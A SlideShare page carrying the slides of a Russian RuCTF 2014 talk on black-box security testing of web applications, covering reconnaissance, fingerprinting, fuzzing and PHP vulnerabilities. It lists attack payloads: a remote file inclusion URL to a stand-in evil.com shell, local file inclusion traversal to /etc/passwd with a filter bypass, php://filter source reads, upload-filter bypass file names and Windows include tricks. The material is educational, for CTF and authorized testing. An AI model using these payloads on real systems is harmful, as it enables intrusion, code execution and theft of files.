Blackbox-тестирование веб-приложений

9,925 views

Published on

Презентация с доклада "Секреты чёрного ящика" на RuCTF 2014. Речь идёт о нюансах blackbox-тестирования веб-приложений.

Published in: Software
0 Comments
5 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
9,925
On SlideShare
0
From Embeds
0
Number of Embeds
4,228
Actions
Shares
0
Downloads
118
Comments
0
Likes
5
Embeds 0
No embeds

No notes for slide

Blackbox-тестирование веб-приложений

  1. 1. Секреты чёрного ящика Омар Ганиев RuCTF 2014 Екатеринбург
  2. 2. Кто я? • Beched (ahack.ru, @ahack_ru) • Выпускник и студент-магистрант факультета математики НИУ-ВШЭ • Участник независимого сообщества и CTF- команды RDot.Org • Эксперт в IncSecurity (анализ защищённости)
  3. 3. Чёрный ящик?
  4. 4. Black box!
  5. 5. Чёрный ящик = Black box
  6. 6. Анализ защищённости • Белым ящиком – Об объекта анализа известно всё – Есть исходные тексты, карты сети, и т. д. • Чёрным ящиком – Известны только точки входа (или даже их нет) – Заказчик не выдаёт информацию • Серый ящик – На практике всегда что-то среднее – Например, есть учётные записи, но нет исходных текстов
  7. 7. Почему black box? • Модель атаки, близкая к чёрному ящику наиболее точно воспроизводит действия большинства злоумышленников • Если что-то удалось взломать чёрным ящиком, то белым ящиком это будет ещё проще • Заказчики часто просто не хотят доверять доступ к исходникам своих продуктов или к серверам с конфиденциальной информацией
  8. 8. План • Первая часть: – Приёмы разведки (reconnaissance) – Определение используемых технологий – (Тихий) сбор информации – Быстрый поверхностный анализ (fuzzing) • Вторая часть: – Некоторые уязвимости PHP – Тестирование интерфейсов загрузки файлов – Уязвимости типа file inclusion – Уязвимости механизмов десериализации
  9. 9. Первые шаги • Перед Вами веб-приложение. Что делать?
  10. 10. Первые шаги
  11. 11. Первые шаги • Включаем локальный прокси-сервер (Burp Suite, OWASP ZAP, …) • Гуляем по сайту • Смотрим на запросы в логах прокси- сервера • Смотрим на HTTP-заголовки и содержимое ответов
  12. 12. Главные идеи • Полезно прикинуть, учитывая полученные данные, как бы Вы реализовали имеющийся функционал, если бы были разработчиком (взгляд изнутри ящика) • А затем подумать, какие ошибки Вы могли бы допустить, и как их можно проэксплуатировать (взгляд извне ящика)
  13. 13. Распознавание платформ • Веб-серверы часто оставляют подпись в HTTP-заголовке Server • Также есть специфичные запросы, например, ‘?a=a&a[]=a’, который вызывает ошибку 500 в Rack Server • Языки программирования могут быть определены по заголовку X-Powered-by или просто по расширениям файлов (.php, .aspx и т. д.)
  14. 14. Распознавание платформ • Если определить конкретный используемый движок, то с языком опять-таки всё будет ясно • Кроме того, различным языкам свойственны различные способы приведения типов, нормализации и кодирования данных • Например, если PHP получит массив вместо строки и попытается его вывести через echo, массив будет приведён к строке ‘Array’
  15. 15. Распознавание платформ • Веб-фреймворки могут быть узнаны по ключевым словам в HTTP-заголовках и в HTML- содержимом • Атрибут csrfmiddlewaretoken в формах – признак Django framework • Cookie-идентификатор _someprojectname_sess – признак Ruby on Rails framework • Cookie-идентификатор mojolicious – признак Perl-фреймворка Mojolicious
  16. 16. Распознавание платформ • Также взгляните на CSS и JS файлы, robots.txt, CHANGELOG, и т. д. • Эти файлы часто содержат подпись и текущую версию установленной CMS • Ещё иногда бывает HTTP-заголовок X-Powered- CMS (например, у Bitrix) • Часто название CMS написано в атрибуте generator HTML-тега meta • Ещё ключевые слова: com_smth (com_content) => Joomla, dle_root => DataLife Engine, /wp- content/ => WordPress, и т. д.
  17. 17. Сбор информации • Проверьте наличие специальных файлов и директорий: sitemap.xml, crossdomain.xml, robots.txt, CHANGELOG, .svn, .ssh, .git, CVS, .DS_Store, Thumbs.db, test.php, info.php, phpinfo.php, php.php, etc… • Поищите бекапы исходных текстов: file.ext~, file.ext.swp, file.ext.save, file.ext.part, #file.ext#, .#file.ext, file.ext.bak, file.ext.old, file.ext.un~, file.phps, file.txt, etc… • Перебор файлов и директорий по словарю
  18. 18. Сбор информации • Также можно обнаружить бекапы баз в директориях типа backups или dumps. При этом можно даже угадать формат имени файла, например, dd-mm-yyyy.sql • Всё это даёт большой объём информации, значительно «обеляя» чёрный ящик. Доступ к репозиториям с исходными текстами и вовсе делает его белым.
  19. 19. Сбор информации • Анализ веб-приложения часто осложняется использованием технологий web 2.0 • URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных • Типичный и удобный для взлома пример – Apache с mod_rewrite (и PHP) • В .htaccess указываются регулярные выражения, задающие отображение из ЧПУ в настоящие URL
  20. 20. Сбор информации • Часто прямой доступ к сценариям не запрещён, что позволяет найти их перебором или угадыванием • Также можно применить особенность многих версий Apache – раскрытие имени сценария в странице HTTP-ошибки 413 • POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
  21. 21. Сбор информации • Следующим шагом является получение списка параметров веб-приложения (POST, GET, Cookie, а также заголовки) • Их можно угадать, исходя из структуры используемых на сайте ссылок • Также можно перебрать по словарю, причём используя не линейный, а логарифмический поиск • par1=1&par2=1&par3=1&…&par_i=1&… • Дихотомия по множеству параметров и размеру/содержимому HTTP-ответа
  22. 22. Быстрый fuzzing • По-хорошему надо фаззить каждый параметр каждого сценария, но это довольно долго и опасно (можно что-нибудь уронить) • Поэтому полезно выделить основные точки входа в веб-приложение, выделить запросы, которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя • Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
  23. 23. Быстрый fuzzing • Сорить в логах – нехорошо (и вовсе не только для black-hat’ов) • Поэтому надо пытаться максимизировать количество получаемой информации в результате одного запроса • Это ещё и увлекательная задача на составление универсальных векторов • Пример: param=a%0atest:tset;<hok>%26'"koh • Проверяем XSS, HTTP response splitting, HPP, SQL-инъекции, а также различные виды иных инъекций кода
  24. 24. Быстрый fuzzing • Помимо прочего, полезно проверить некоторые массовые уязвимости: CVE-2012- 1823, CVE-2013-0156, CVE-2014-0160 и т. д. • Какой инструментарий? Многое из рассказанного реализовано во фреймворке LibPyWebHack: https://github.com/beched/libpywebhack • В локальной версии у меня реализовано больше, когда-нибудь допилю и выложу =)
  25. 25. Уязвимости PHP • Почему PHP?
  26. 26. Почему ломаем PHP? • Низкий порог вхождения, много глупых кодеров с низкопробным кодом • Запутанный язык с месивом различным парадигм • Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами • ??? • PROFIT!
  27. 27. <?=$question[0]; • Где уязвимость? <? session_start(); if(!isset($_SESSION['is_admin'])) { header('Location: login.php'); } require_once './includes/admin.php'; //…
  28. 28. <?=$answer[0]; • Что делает header()? • Отсылает браузеру HTTP заголовки • Это прекращает выполнение сценария? НЕТ • Получается, мы можем получить доступ к административному интерфейсу • Для этого удобно задать в Burp Suite правило, заменяющее в заголовке ответа ‘302 Found’ на ‘200 OK’
  29. 29. <?=$question[1]; • Где уязвимость? <? $salt = 'somesecret'; $time = microtime(); $file = $_GET['file']; $sign = substr(md5("$salt$file$time"), 0, 10); if($sign == $_GET['sign']) { readfile($file); }
  30. 30. <?=$answer[1]; • Небезопасное сравнение! Оператор проверки эквивалентности в PHP – это '==', а тождественности – '==='. • Это означает, что '==' влечёт приведение типов, что приводит к неожиданностям php > var_dump('00e123123123'=='0'); bool(true) • Как воспользоваться уязвимостью? Достаточно слать запросы с подписью '0' и ждать, пока усечённое значение хеша будет соответствовать '0+ed+'
  31. 31. <?=$question[2]; • Где уязвимость? <? $name = basename($_GET['name']); $data = $_GET['data']; file_put_contents("./htmls/$name", $data); readfile("./htmls/$name"); unlink("./htmls/$name");
  32. 32. <?=$answer[2]; • Combo-break! Очевидное состояние гонки и менее очевидная уязвимость PHP. Атомарными на верхнем уровне можно считать операции записи, чтения и удаления файла • Сценарий не блокирует доступ к файлу для других потоков, поэтому можно обратиться к нему параллельно и выполнить произвольный код (в .php-файле) • Кроме того, можно остановить сценарий в момент вывода данных в браузер, если заменить метод GET на метод HEAD. См. https://students.mimuw.edu.pl/~ai292615/php_he ad_trick.pdf
  33. 33. Загрузка файлов • Интерфейс загрузки файлов достаточно легко реализовать безопасно, однако, очень часто разработчики либо совсем забывают про этот аспект, либо делают ненужные костыли • По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
  34. 34. Загрузка файлов • Регистрозависимость: shell.PhP не соответствует запрещающему регулярному выражению '/.php$/' • Отсутствие терминирующего символа: shell.jpg.php соответствует '/^[w]+.jpg/is' • Black-listing расширений: .htaccess, test.php3 не соответствуют '/.php$/i' • Black-listing и MIME-типы в Apache: shell.php.asd не соответствует '/.(htaccess|php3?)$/is' (расширение .asd будет отброшено веб-сервером)
  35. 35. Загрузка файлов • Управляющие символы в выражении: shell.php.XXjpg соответствует '/[w]+.jpg$/is' • Терминирующий символ в группе: shell.bmp.php соответствует '/^[w]+.(bmp|gif|jpg$)/is' • URL-декодирование имени файла: shell.php%00.jpg проходит разумные проверки, но после декодирования будет создан файл shell.php • Проверка содержимого: getimagesize() обходится очень легко (заголовок "GIF11anaa", например). Обход сжатия: https://rdot.org/forum/showthread.php?t=2780
  36. 36. Загрузка файлов • Проверка MIME-типа вместо расширения или содержимого: любой файл можно загрузить с Content-Type: image/gif • Множественная загрузка: в интерпретаторе PHP имелась уязвимость (исправлена примерно в 5.4 версии), позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES. См. http://students.mimuw.edu.pl/~ai292615/php_ multipleupload_overwrite.pdf и https://rdot.org/forum/showthread.php?t=1329
  37. 37. File inclusion • В PHP-приложениях достаточно распространены уязвимости, связанные с чтением или исполнением произвольных файлов • Рассмотрим подробнее второй тип – подключение исполняемого PHP-кода • При этом путь с точки зрения PHP – это не просто локальный путь в файловой системе, а URL • Поэтому разделяют Local File Inclusion и Remote File Inclusion
  38. 38. File inclusion • Чтение: file_get_contents, readfile, highlight_file, fopen и т. д. • Подключение: include(_once), require(_once) и т. д. • Зависимости для эксплуатации RFI в php.ini: allow_url_fopen = On, allow_url_include = On • URL-обёртки, поддерживаемые PHP: http://php.net/manual/en/wrappers.php
  39. 39. RFI • Суффикс неважен, поскольку имена файлов на своём сервере атакующий контролирует. Но можно его отбросить при помощи символов #, x00, обёртки data • Варианты запроса: http://evil.com/shell.txt#; data:,<?phpinfo();?> • SSRF: можно сканировать и просматривать внутреннюю сеть: http://10.10.1.xx:port/ • Потенциально возможно исполнение произвольного кода, например, через обёртку expect
  40. 40. LFI • Без префикса: /path/file, zip:///path/to/zip/#file, php://filter/read=base64.encode/resource=/p ath/script.php • С префиксом: /../../../path/file • С постфиксом: /path/file%00, /path/file////[x~4096]///// (до версии 5.3.4), а также загрузка файла с нужным расширением в доступную директорию
  41. 41. LFI • Что подключать? Ищем загрузку документов, аватаров, и т. д. • /var/log/access.log, /proc/self/environ, /var/mail, /tmp/sess_$PHPSESSID, любые другие логи, доступные на запись • Что если include './includes/' . str_replace('../', '', $_GET['page']);? Это тупой нерекурсивный WAF, вот обход: ?page=/….//….//….//….//etc/passwd
  42. 42. Трюки • Such race condition • Many shells • Very LFI via PHPInfo. Wow! • Что если не доступны ни логи, ни загрузки? Есть phpinfo()? (см. слайд №14) • Утечка имени временного файла через phpinfo(), состояние гонки при замедлении исполнения сценария (до 30 с.), в результате имеем подключение файла с произвольным содержимым • См. https://rdot.org/forum/showthread.php?t=1134
  43. 43. Трюки • PHP – это весело. Windows – это весело. Смешать, но не взбалтывать • Windows: .C:somedir....D:otherdirfile • WinAPI – это клёво, и WinAPI в PHP – ещё клёвее HANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName, _Out_ LPWIN32_FIND_DATA lpFindFileData ); • FindFirstFile() используется многими конструкциями PHP, в т. ч. include • Угадайте, что будет подключено? include 'C:<oot"<<';
  44. 44. Трюки • Таким образом, в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл • Достаточно отправить файл с шеллкодом и одновременно подключить имя /../../../../../../Windows/Temp/php<<.tmp • API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом • См. https://rdot.org/forum/showthread.php?t=926
  45. 45. Трюки • Заметим, что трудности могут возникнуть при включённом Suhosin Patch от Стефана Эссера • Исполнить загруженный в текущем потоке файл не удастся, поэтому всё равно нужна гонка • Ещё из магии Windows+PHP – угадайте, что будет подключено: include '//beched/Desktop/test.txt'; • Это обход ограничение allow_url_include и allow_url_fopen. См. https://rdot.org/forum/showpost.php?p=26499& postcount=58
  46. 46. Десериализация вкратце • Уязвимости механизмов сериализации данных – не редкость. Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails, Pickle-сериализация в Python • (De)serialization: {Objects} () {Strings} • Уязвимости основаны на том, что при десериализации произвольных данных возможно создание объектов произвольных классов, а также вызов определённых «магических» методов (см. http://www.php.net/manual/ru/language.oop5. magic.php)
  47. 47. Десериализация вкратце • Задача – найти доступные классы с магическими методами, которые будут вызваны и могут использованы для несанкционированного доступа • Часто для этого используется __destruct() • См. https://rdot.org/forum/showthread.php?t=95 0
  48. 48. Трюки • Можно выделить некоторые трюки. Ошибки в обработке строк сериализации: https://rdot.org/forum/showthread.php?t=1742 • Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса- обработчика SOAP-объектов: http://raz0r.name/talks/confidence-2013-php- object-injection-revisited/
  49. 49. Заключение • В заключение ничего нового не скажешь • TRAIN HARD • Google, Twitter, blogs, RDot, CTF, write-ups, documentation, coding, testing, research • Надеюсь, узнали и запомнили что-то полезное
  50. 50. Спасибо за внимание! admin@ahack.ru beched@incsecurity.ru

×